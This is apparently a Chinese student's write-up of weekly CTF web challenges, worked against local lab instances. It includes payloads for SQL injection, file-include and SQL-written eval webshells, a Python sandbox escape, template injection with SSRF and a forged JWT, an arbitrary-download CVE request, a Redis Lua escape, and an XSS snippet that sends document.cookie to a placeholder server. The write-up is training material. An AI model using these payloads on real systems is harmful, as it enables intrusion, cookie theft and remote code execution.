文章目錄
- week1
- headach3
- 會贏嗎
- 智械危機
- 謝謝皮蛋
- PangBai 過家家(1)
- week3
- include me
- blindsql1
- 臭皮的計算機
- 臭皮踩踩背
- 這照片是你嗎
- week4
- Pangbai過家家四
- blindsql2
- chocolate
- ezcmsss
- ezpollute
- 隱藏的密碼
- weeek5
- pangbai過家家(5)
- redis
- sqlshell
- 臭皮吹泡泡
- 臭皮的網站
week1
headach3
根據提示,在頁面的請求頭里找到flag
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
會贏嗎
打開控制臺,拿到第一部分flag
將地址欄改為提示,去到下一關
控制臺調用函數,得到flag
進入第三關,看到與第二關很相似,同樣是向一個地方發數據,根據響應拿到flag,但是第二關沒有完成該功能的函數,猜測是要自己寫一個腳本數據過去
看題解才發現原來是要修改if指向的條件值
去到第四關,修改設置禁用js,拿到flag,最后將所有flag進行base64解碼即可
智械危機
進來看到提示flag跟robots相關,訪問robots.txt,(這里為什么要訪問這個地址,也是在一次ai的過程里突然理解)得到一個地址,進入
函數部分的邏輯好理解,接下來解釋一下if部分的邏輯
所以我們所看到的當前網頁其實就是else語句執行后的結果
在題目的源碼里,我們可以看到解碼后的命令會被執行,因此,可以發送一個獲取flag的命令過去,也就是一個webshell
from hashlib import *
from random import *
from requests import *
from tqdm import *
import uuid
import base64
url='http://127.0.0.1:59206//backd0or.php'
cmd='cat /flag'
base_cmd=base64.b64encode(cmd.encode()).decode()
rev_base_cmd=base_cmd[::-1]
key=base64.b64encode(md5(rev_base_cmd.encode()).hexdigest().encode()).decode()
payload={'cmd':base_cmd,'key':key
}
responce=post(url,data=payload)
print(responce.text)
謝謝皮蛋
做這題之前需要先去學習一些數據庫的知識
- 1 order by 2
1可以理解為輸入的id,是一個占位符,按第二列排序用來測試列數,如果沒有兩列則會報錯 - -1 union select 1,2
-1同樣是占位符,union的作用是將注入語句合并到原始語句中,select 1,2用于從數據庫中返回兩個常量值1,2 - -1 union select 1,database()
拿到數據庫名,接下來查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
全都看一遍,拿到flag
PangBai 過家家(1)
根據提示,在網絡里找到下一關的地址
輸入查詢參數,進入下一關
第三關采用post方法發送請求,先下一個hackbar插件
這里是真不懂有什么邏輯在其中了,第四關wp說將剛才發的請求再重新發一遍,為什么要這么做呢
根據提示將用戶代理改為Papa/1.0,進入下一關
同樣,我們再發一次請求,得到
import requests# URL 和 Headers
url = "http://8.147.132.32:36002/?ask=miao"
headers = {"Host": "8.147.132.32:36002","User-Agent": "Papa/1.0","Content-Type": "multipart/form-data; boundary=abc","Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0",
}# 構造 form-data 數據
data = ("--abc\r\n"'Content-Disposition: form-data; name="file"; filename="1.zip"\r\n'"\r\n""123\r\n""--abc\r\n"'Content-Disposition: form-data; name="say"\r\n'"\r\n""瑪卡巴卡阿卡哇卡米卡瑪卡呣\r\n""--abc--\r\n"
)# 發送 PATCH 請求
response = requests.patch(url, headers=headers, data=data)# 打印響應
print("Status Code:", response.status_code)
print("Response Text:", response.text)
hackbar莫名出了點問題,后面就沒做了
week3
include me
題目打開過5秒就會自動跳轉,趕緊沖手速把代碼復制下來
<?php
highlight_file(__FILE__);
function waf(){if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){die("兄弟你別包");};
}
if(isset($_GET['phpinfo'])){phpinfo();
}//兄弟你知道了嗎?
if(!isset($_GET['iknow'])){header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}waf();
include $_GET['me'];
echo "兄弟你好香";
?>
傳入參數iknow就可以防止跳轉,看一下繞過,大致都被禁用了,根據偽協議提示想到data協議,但是php也被禁用了,于是只能翻文檔,找到編碼繞過
payload:
http://127.0.0.1:63097/?iknow=1&data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
看wp時發現一些細節需要注意
- 編碼后最后不能是+,會被解析成空格
- 如果密文中帶=號被過濾,可以采取明文前多加幾個空格的方法
blindsql1
提示盲注,進來隨便嘗試一下,發現不給回顯,一些關鍵詞可能被禁用
測試一下,發現空格,union,=,/都被過濾了
- =號的繞過可以用like或in
- 空格和/的繞過可以用括號
- and前面是字符串或者括號可以不加空格
寫一個盲注腳本,利用name=alice and 猜測值=實際值,如果猜對,and后面是true,alice的信息會被帶出,注意要在alice的后面加上’來閉合
記錄一下寫腳本時候踩的坑
- 當用like或in代替=時,兩邊的數據都要加上(),不然會被識別成一整個字符串
- ord(c)一定要放到{}里面,因為這是python的代碼,sql不會執行
import string,time,tqdm,requests
url='http://127.0.0.1:62459/'
result=''
for i in tqdm.trange(1,100):for c in string.digits+string.ascii_letters+'_-':time.sleep(0.2)tables='(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'char=f'ord(mid({tables},{i},1))'bl=f'(({char})in({ord(c)}))'p=f'Alice\'and({bl})#'response=requests.get(url,params={'student_name':p})if 'Alice' in response.text:result+=cprint(result)break
到25時爆破速率明顯減慢,猜測只有這幾張表
courses,secrets,students
接下來爆破secrects列名
隨后在三列中翻翻flag
for i in tqdm.trange(1,100):for c in string.digits+string.ascii_letters+string.punctuation:time.sleep(0.2)tables='(select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'char=f'ord(mid({tables},{i},1))'bl=f'(({char})in({ord(c)}))'p=f'Alice\'and({bl})#'response=requests.get(url,params={'student_name':p})if 'Alice' in response.text:result+=cprint(result)break
臭皮的計算機
根據提示進入到/calc,隨便測一下,發現會返回報錯信息,且輸出使用print(eval),測試system,有特殊信息,說明應該是要繞過執行命令
連續測了system,shell_exec,phpinfo,似乎全都被禁用了,開源代碼看一下,發現能看到代碼邏輯,且字母全被過濾了
做不下去了,開wp看一看,提到用全角字符繞過,Google一下
因為是python腳本,所以不能直接用system,在這里也是學到一個新姿勢
轉為全角字符時報錯,猜測是因為括號內字符不能繼續用全角,采用chr函數或八進制繞過
str='oscatflag'
res=''
for i in str:res+=f'chr({ord(i)})+'
print(res)
結果又被禁用了,看wp一下子想通了,全角字符在當作函數名或者import使用時可以正常運行,所以數字和括號需要用半角字符
_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
臭皮踩踩背
這道題似乎出什么問題了
這照片是你嗎
觸及到知識盲區了,順著wp做一做
靜態文件的提示,說明應該去找可讀文件,隨后,從響應標頭里找到疑似flask框架的信息
隨后,根據flask框架,猜測主程序名是app.py
路徑穿越回根目錄看一下,被禁止訪問了,但是可以訪問下級目錄,試試看一些默認位置
之后因為本地抓包的配置一直沒弄好,就一直卡在這里了
week4
Pangbai過家家四
gpt分析一手
直接去看main.go源碼
.User輸入字符串會被直接拼接,類似SSTI注入,測試xss腳本
能用,但是不熟悉攻擊手法,于是去看wp,關注渲染過程的核心代碼
tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)
那么現在我們知道了,{{.}}是傳遞給模板的內容,可以通過.訪問它的下級。可以使用 {{ . }} 獲取整個上下文,或使用 {{ .A.B }} 進行層級訪問。若上下文中含有函數,也支持 {{ .Func “param” }} 的方式傳入變量。并且還支持管道符運算。
但是這個.所能控制的不是一直都是我們傳入的內容嗎,自己訪問自己沒意義啊,但是如果點能訪問其他內容呢?
在本題中,由于 utils.go 定義的 Stringer 對象中的 String 方法,對繼承他的每一個 struct,在轉換為字符串時都會返回 [struct],所以直接使用 {{ . }} 返回全局的上下文結構會返回 [struct].
func (s Stringer) String() string {return "[struct]"
}
type Helper struct {StringerUser stringConfig Config
}
注意到恰好Helper是stringer對象,所以如果調用點會返回[struct]
拿到JwtKey
接下來去看另一個路由
? JWT 偽造漏洞:如果已拿到 JwtKey,可以偽造 Papa 身份繞過權限檢查。
? 路徑遍歷漏洞:如果 config.SignaturePath 沒有限制,可以利用 PUT 方法覆蓋任意文件。
那么接下來其實思路很明確了,用JwtKey簽一個token,再利用put方法更新path路徑,get請求渲染頁面即可實現任意文件訪問。
唯一的問題其實是限制了只能本地訪問,當然我們在本地復現時不需要考慮這個,但是在打比賽的時候就需要用SSRF才能繞過,其實一開始進來就看見了這么一個函數
func (c Helper) Curl(url string) string {fmt.Println("Curl:", url)cmd := exec.Command("curl", "-fsSL", "--", url)_, err := cmd.CombinedOutput()if err != nil {fmt.Println("Error: curl:", err)return "error"}return "ok"
}
所以調用curl 函數
后來測試發現想復雜了,其實直接用簡單的兩層括號就可以拿到ok
{{.curl “http://localhost:8000”}}
因為curl發起的命令只能發送get請求,所以還需要想辦法發put請求,這里因為curl命令支持gopher協議,所以
先去簽一個jwt
再讓gpt寫一個put協議的原始報文,注意數據以原文傳,并且不能加換行,否則會影響到文件讀取
PUT /favorite HTTP/1.1
Host: localhost:8000
cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiUGFwYSJ9.yjIwYcy92eqIx6mcAfxTRlhFIglUfiP7uPEmUZ85evY
Content-Type: text/plain
Content-Length: 18/proc/self/environ
然后卡了一會,最后發現報文需要二次urlencode才可以通過
奇怪的是接下來訪問favorite路由還是沒拿到flag,又試了一次總算拿到flag了,這里過程發現一個點,jwt簽名的時候,不管是Name還是user都可以正常讀到papa,可能是因為只有一個數據的原因吧。這里如果不看wp哪怕能夠做到任意文件讀我估計也想不到flag在環境變量里。學到了這種手法
proc/self/environ
blindsql2
這里看不到回顯數據了,我們在上一個盲注中可以通過Alice來判斷是否注入成功,在這里則得不到信息,不急,先測試幾手,發現空格,等號,union,/被過濾,輸入單引號時頁面突然無內容,猜測使用單引號閉合
到這里其實是跟1一樣的,唯一的區別在于2沒有了回顯數據,我們需要找一個點來判斷注入是否成功。
for i in tqdm.trange(1,100):for c in string.digits+string.punctuation+string.ascii_letters:time.sleep(0.01)table='(select(group_concta(table_name)from(information_schema.tables)where(table_name=database())))'char=f'ord(mid({table},{i},1))'bl=f'(ord{c})like({char})'p=f'Alice\'and({bl})'
寫到這里卡住,測試無論是有的數據還是沒有的數據都是一樣的返回結果,Google一手,發現時間盲注的手法
id=1’ and if(ascii(substr(database(),1,1))>100,sleep(3),0)–+
如果猜對了就睡三秒,那么怎么通過這一特性寫腳本呢,繼續Google,找到盲注相關腳本
time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >= 1:print(i)else:print(i)break
到這里就可以寫出完整腳本了,可以預見的是腳本的運行時間一定很長,趁這個時間去看看wp,果然也是時間盲注,不過本地自己寫的腳本爆的前幾個字符沒啥意義,可能腳本有問題還需要調整。檢查發現在sql語句中if需要加括號,sleep時間不能太短,否則會因為網卡1s而匹配錯誤結果
完整腳本
import string,time,tqdm,requests
url='http://127.0.0.1:23237/'
result=''
for i in range(1,100):print(f'[+]bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01)tables = f'(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'char = f'ord(mid({tables},{i},1))'b = f'({char})in({ord(c)})'p = f'Alice\'and(if({b},sleep(1.5),0))#'res = requests.get(url, params={'student_name':p})if res.elapsed.total_seconds() > 1.5:result += cprint(result)break
chocolate
輸入’嘗試sql注入,爆出一些信息
看上去沒有文件包含點,只是需要做一些繞過,字母被過濾,第一個數字不能為0,那么采用八進制,在前面加上一個空格的url編碼%20即可繞過,
成功繞過,拿到可可的值和提示,crypto上線,看后綴猜測應該是php,過了一道簡單的凱撒加密
奇怪的是進來竟然是404,開wp看一眼,原來是因為大小寫的問題,b需要大寫
還是熟悉的繞過,gpt一手,找到php的弱類型特點來繞過
遺憾的是在這里恰好是一個嚴格比較,所以繞不過去,Google一手找找資源
<?php
$number = 1 + "10.5"; // $number = 11.5 (float)
$number = 1 + "-1.3e3"; // $number = -1299 (float)
$number = 1 + "bob-1.3e3"; // $number = 1 (int)
$number = 1 + "2admin"; // $number = 3 (int)
$number = 1 + "admin2"; // $number = 1 (int)
?>
找到一種思路,使用hash碰撞,但是下載工具似乎出了點問題,不是梯子的原因,但是一直進不去
需要進官網去找這個程序,直接下會出問題
https://marc-stevens.nl/research/hashclash/
新建一個文件放入任意內容,隨后運行這個命令
fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt
在powshell里需要加入./才能正常運行
可惜還是沒繞過,這里就有點想不通了,bp抓個包看看,這里說一下bp怎么抓本地靶場的包,折騰了一個多小時
首先需要把127.0.0.1替換為自己的ipv4地址,輸ipconfig命令就可以看到
gpt一手
試試開啟透明代理
后來突然想通了哪里出的問題,我們在瀏覽器是用了一個代理,這個代理設置了一個監聽地址,而這個地址一定不能是題目的地址,因為當我們發包時就相當于把題目的數據發到代理設置的這個地址,如果你的 Burp 監聽 了 10.147.42.151:19830,但你請求的目標也是 10.147.42.151:19830,造成了 Burp 代理自身的死循環。
但是發現替換成ip4地址的時候莫名無法訪問了
最后嘗試用bp的內嵌瀏覽器,可以正常抓包了
還是不對,看了看wp,思路就是這個,不信邪又用工具跑了一次,還是不對,那這個工具可能是有點問題,也有可能是要文件的MD5值,我是直接ctrl+a去計算的url編碼。wp從網上直接找了組數據,那么我也去找找看,找到兩組數據都可以
cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
到這里其實就繞過了,再看下一層繞過,miao==md5(miao),一個弱比較,在前面搜集信息的時候就看到思路了,找到字符串的哈希值0e開頭,計算這個0e開頭的哈希值也是0e開頭,完成繞過
moew=0e215962017
md5=0e291242476940776845150308577824
md5和雙md5之后都是0e開頭的
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
這里奇怪的是網上找的數據明明沒有問題,但就是用不了,用wp的數據一下就過了,下一個繞過就更簡單了,寫個腳本使前幾個字符是8031b即可
from Crypto.Util.number import *
from sympy import *
from Crypto.Cipher import AES
from tqdm import tqdm
from libnum import *
import string
from hashlib import *
import os
import gmpy2
from hashlib import *
from random import *
from requests import *
from tqdm import *
import uuid
from bs4 import BeautifulSoup
import requests
import requests# headers = {
# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'}
# for i in range(500):
# url = "http://127.0.0.1:55146//{{()['__cla'+'ss__'][__base__]['__subcla'+'sses__()'][" + str(i) + "].__init__.__globals__}}"
# res = requests.get(url=url, headers=headers)
# print(res.status_code)
# if 'os' in res.text:
# print(i)
#
# # payload: {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
# from pwn import *
# host = 'challenge.utctf.live'
# port = 7150
# conn = remote(host, port)
# for i in range(1,50):
# message = chr(i)
# print(message)
import hashlib
import itertools
import stringdef find_matching_string():charset = string.ascii_letters + string.digits # 允許的字符(大小寫字母+數字)for length in range(1, 10): # 逐步增加字符串長度for s in itertools.product(charset, repeat=length):test_string = ''.join(s)md5_hash = hashlib.md5(test_string.encode()).hexdigest()if md5_hash.startswith("8031b"):return test_string, md5_hashresult_string, md5_value = find_matching_string()
print(f"找到匹配的字符串: {result_string}")
print(f"對應的 MD5 哈希: {md5_value}")
去final.php,大概看一下應該是反序列化的內容,通過post方法傳入food,food進行反序列化
到晚上思維開始疲憊了,明天再看吧
看起來思路是需要構造一個序列化字符串,然后繞過chocolate匹配,就可以拿到信息,本來想自己寫腳本,結果gpt把字符串給出了,嘗試能不能用吧
payload = 'O:9:"chocolate":2:{s:3:"cat";s:4:"test";s:5:"kitty";s:4:"test";}'
Google半天沒找到類名檢測怎么繞過,干脆直接看wp吧,wp說用大小寫繞過,提交數據沒反應,那問題應該出在gpt構建的序列化字符串上,我們自己構造一個
抓個包把原始數據傳過去,拿到最后一個參數
可可液塊=1337033可可脂=202409黑可可粉=51540
這個頁面就沒有信息了,回主頁面試一下,糖粉輸10000顯示太甜,輸1000顯示太苦,所以最后一個應該是要靠二分法猜出來,大概十次左右試出是2042
ezcmsss
進來隨便看看,cms是文件管理系統,沒找到啥有用的,dirsearch掃一掃
下載www.zip拿到一個假的flag,但至少說明思路沒問題
估計是從ctfshow改的題,解了一下misc的flag也不對,大概率還是要去看源碼,可能利用網站的更新日志,網站本身還是老版本這個思路
突然找到一個有意思的東西
本來想抓包爆破,但是一想需要驗證碼,爆破也不好搞,去給的極致站點看了看也沒什么,沒剩啥思路了,去注冊登錄一手,發現有可能存在文件上傳。剛想試試是不是前端校驗,在選擇分類那里不讓選,等于把文件上傳殺死了。頭大,去看一眼wp。好吧,原來是漏看了一個文件導致錯過了后門的賬號密碼
成功登錄
進來逛一逛啥也沒找到,倒是有上傳點,但是一想都進后臺了要上傳干嘛。從項目地址去看了看接下來的版本更新日志,也沒找到啥思路。有意思的是這時候注意到清理緩存這個選項,進來看看有一些緩存的數據地址,進去一看還真有東西,感覺應該在這里,但是沒找到,再去看一眼wp
沒想到跟我想的方向不搭邊,這時候還是感覺到有一點挫敗感的,不過沒事,從哪里跌倒就從哪里爬起來。其實不應該看各版本的更新日志,而是應該Google這個版本下的漏洞
這個版本有一個任意文件下載漏洞,看了下wp,因為我們是在本地復現,所以無法通過公網url下載,需要將.zip文件上傳到容器里再下載解壓。為什么要這么做呢,我們需要傳入木馬拿到網站的控制權,但是直接上傳不知道文件在哪,而這個任意文件下載漏洞可以找到文件的位置,并且將下載行為改為解壓縮行為,就可以拿到木馬的位置,完成getshell。找一個上傳點。
抓個包找到上傳路徑
/static/upload/file/20250317/1742220428158999.zip
說明上傳成功了
接下來照葫蘆畫瓢,利用CVE的數據包
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.48.135
Content-Length: 93
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.48.135
Referer: http://192.168.48.135//admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tnfljdrsfd3fdf7qin35gf26v4
Connection: closeaction=start-download&filepath=mutisite&download_url=/static/upload/file/20250317/1742220428158999.zip
sessionid要改成自己的
漏洞復現
跟著y4走了一下流程到最后發現404,回頭檢查才發現壓縮文件時windows自動把馬殺了。。。
沒事,重來一手
/static/upload/file/20250317/1742222745119562.zip
最后還是404,猜測可能是下載插件的環境不一樣導致的,抓的數據包跟復現內容總有差異,繼續檢查,發現在下載時沒有用絕對地址,應該用http,繼續檢查,發現要把插件卸載了再下才可以,不然會觸發禁止重復下載的邏輯
到這里就成功下載下來了
但是按照復現路徑又報404了,這里剛要崩潰的時候突然試出來路徑,原來是還需要在文件前加上文件夾名字,而wp里的filepath純扯淡
隨后拿到flag
總算打完了
ezpollute
看題目應該是一個js原型鏈污染
這道題很想試試,可惜平臺沒把源碼放出來,做不了啊
隱藏的密碼
進來看到一個登錄頁面,從提示來看不太可能爆破進去,dirsearch掃一掃
請求太多會報錯,只能做一個簡單的掃描,這個就更頭大了,找不到一點信息,sql,ssti嘗試了,還以為做了請求的限制
嘗試了一下降線程沒用,還是會達上限,加了延時到十個任務每秒還是沒用,難怪只有四解,不做了,繼續硬做的話等探測完都過去幾個小時了
weeek5
pangbai過家家(5)
box和send兩個路由
可以看到flag就在cookie里,想辦法拿出來即可,可以利用xss,但是有過濾
用gpt沒繞過,第一次做xss題,去看看wp
function safe_html(str: string) {return str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '')
}
<script
>alert(1)</script
>
可以利用js的fetch函數發請求到自己服務器上拿信息
fetch("http://your-server.com/?data=" + document.cookie)
然而復現中環境是不出網的,即訪問不到服務器,所以需要想其他辦法帶出數據,如果把獲取cookie的函數發過去,bot處理后我們在信箱是不是能看見cookie
fetch("https://jsonplaceholder.typicode.com/posts", {method: "POST", // 請求方法headers: {"Content-Type": "application/json" // 設置請求頭},body: JSON.stringify({ title: "Hello", body: "World" }) // 發送數據
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error("Error:", error));
<script
>
fetch('/api/send', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>
順利拿到flag
redis
簡單的說就是一個高性能的鍵值對數據庫,在網上找了一些滲透的命令都無效,懷疑是不是我的問題,看一眼wp
這個確實是一個命令面板沒毛病,但是背后過濾了一些東西,所以set命令寫入shell不可用,先去www.zip看看源碼過濾了什么吧
redis-cli -h [目標ip] -p [redis端口] #連接redis服務器config set dir /var/www/html #設置數據庫備份文件的放置路徑config set dbfilename shell.php #設置備份文件的文件名set x "<?php @eval($_POST['tt']);?>" #添加一個鍵”x”,值為一句話木馬save #保存
Redis Lua 沙盒逃逸和遠程代碼執行 (CVE-2022-0543)
試試里面的腳本
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
結合gpt改改腳本即可拿到flag
sqlshell
提示flag不在數據庫,應該是要通過某種sql執行命令的方式,Google看看
這次終于不過濾空格了,可惜也沒有回顯,怎么拿到數據呢
(select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php")
select * from information_schema.session_variables where
variable_name=‘secure_file_priv’
其實這道題思路還是沒問題的,但是對sql語法不熟悉導致沒能成功寫進去
先測試列數
Alice' order by 4#
到4無回顯,說明有三列
Alice' union select 1,2,3#
看哪些字段會回顯
#查詢數據庫 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#獲取數據庫中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#獲取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#獲取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump
sqlmap使用
Alice' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#
getshell
臭皮吹泡泡
進來一看大概率是反序列化的一些東西
class let_me
{public $let_me;public $time;public function get_flag(){$runcode="<?php #".$this->let_me."?>";$tmpfile="code.php";try {file_put_contents($tmpfile,$runcode);echo ("we need more".$this->time);unlink($tmpfile);}catch (Exception $e){return "no!";}}public function __destruct(){echo "study ctf let me happy";}
}
其他幾個類沒感覺有什么用,先看let_me類,可以傳入php代碼,但是需要想辦法繞過#注釋,寫入文件后有一個字符拼接,在這之后文件被銷毀,可否在文件銷毀前調用tostring方法呢,看樣子需要讓time賦值為其他類的實例
class ctf
{public $ctf;public function __tostring(){if ($this->ctf === "phpinfo") {die("u can't do this!!!!!!!");}($this->ctf)(1);return "can can need";}
}
突然想到,如果die了,是不是就不會調用銷毀文件方法,理論形成,實踐開始.
一直沒打通,看了一眼wp,才發現細節處理有問題
繼續看了眼wp,其實思路就是這么個思路,唯一的區別在于繞過#的方式不同,我們測試一下換行能不能繞過#
沒繞過去,所以問題出在繞過這里,還是得用標簽閉合來繞過。第二個問題是pop鏈的起點沒找對,反序列化時可不會自動調用get_flag方法,所以還需要一個happy的wakeup方法。一下子被繞的有點暈,先放一放回頭再來看
臭皮的網站
頭有點疼下次再回來解吧